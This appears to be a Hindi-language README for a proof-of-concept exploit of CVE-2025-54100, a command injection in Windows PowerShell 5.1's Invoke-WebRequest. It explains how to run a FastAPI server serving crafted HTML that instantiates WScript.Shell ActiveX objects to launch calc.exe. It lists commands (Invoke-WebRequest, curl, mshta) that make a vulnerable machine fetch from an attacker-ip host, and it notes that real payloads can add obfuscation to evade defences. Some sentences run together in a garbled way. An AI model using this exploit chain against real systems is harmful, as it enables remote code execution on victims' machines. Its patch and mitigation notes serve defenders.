
CVE-2025-54100 (CVSS 7.8 उच्च) विंडोज़ PowerShell 5.1 के Invoke-WebRequest cmdlet में एक कमांड इंजेक्शन भेद्यता है। यह वेब प्रतिक्रियाओं के स्वचालित पार्सिंग के दौरान विशेष तत्वों के अनुचित निष्प्रभावीकरण के कारण उत्पन्न होती है।
एक संक्षिप्त प्रूफ-ऑफ-कॉन्सेप्ट जो दिखाता है कि कैसे CVE-2025-54100 दुर्भावनापूर्ण HTML पार्सिंग के माध्यम से Windows PowerShell 5.1 में रिमोट कोड निष्पादन (RCE) का कारण बन सकता है।
-UseBasicParsing का उपयोग नहीं करने पर Invoke-WebRequest में कमांड इंजेक्शनActiveXObject) की अनुमति देती है।CVE-2025-54100.py में FastAPI सर्वर एक क्राफ्टेड HTML पेलोड परोसता है।WScript.Shell / Shell.Application ActiveX ऑब्जेक्ट्स को इंस्टेंशिएट करने का प्रयास करता है।calc.exe लॉन्च करके RCE प्रदर्शित करता है।python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
PoC HTTP सर्वर प्रारंभ करें:
uvicorn app:app --host 0.0.0.0 --port 8888 --reload
इन्हें कमजोर Windows मशीन पर -UseBasicParsing के बिना चलाएँ:
# Invoke-WebRequest
Invoke-WebRequest -Uri "http://<attacker-ip>:8888"
# curl alias
curl http://<attacker-ip>:8888
# mshta
mshta http://<attacker-ip>:8888
सर्वर के लिए कॉन्फ़िगर किए गए उसी पोर्ट का उपयोग करें। यदि सिस्टम कमजोर है, तो एम्बेडेड स्क्रिप्ट MSHTML पार्सर के माध्यम से निष्पादित होती है। कुछ AV उत्पाद इस व्यवहार को ब्लॉक कर सकते हैं, भले ही पार्सिंग समस्या मौजूद हो।
यदि calc.exe प्रकट नहीं होता है:
-UseBasicParsing के बिना Invoke-WebRequest फिर से चलाएँ।यह निष्पादन वेक्टर को प्रदर्शित करता है। वास्तविक दुनिया के पेलोड डिफ़ॉल्ट प्रतिबंधों से बचने के लिए ऑब्सफस्केशन या अतिरिक्त बाईपास का उपयोग कर सकते हैं।

Microsoft ने दिसंबर 2025 में इस समस्या को पैच किया:
-UseBasicParsing का उपयोग करें:
Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
[!WARNING] केवल शैक्षिक और अधिकृत परीक्षण के लिए। जिम्मेदारी से उपयोग करें और सभी लागू कानूनों का पालन करें। लेखक दुरुपयोग या क्षति के लिए उत्तरदायी नहीं हैं।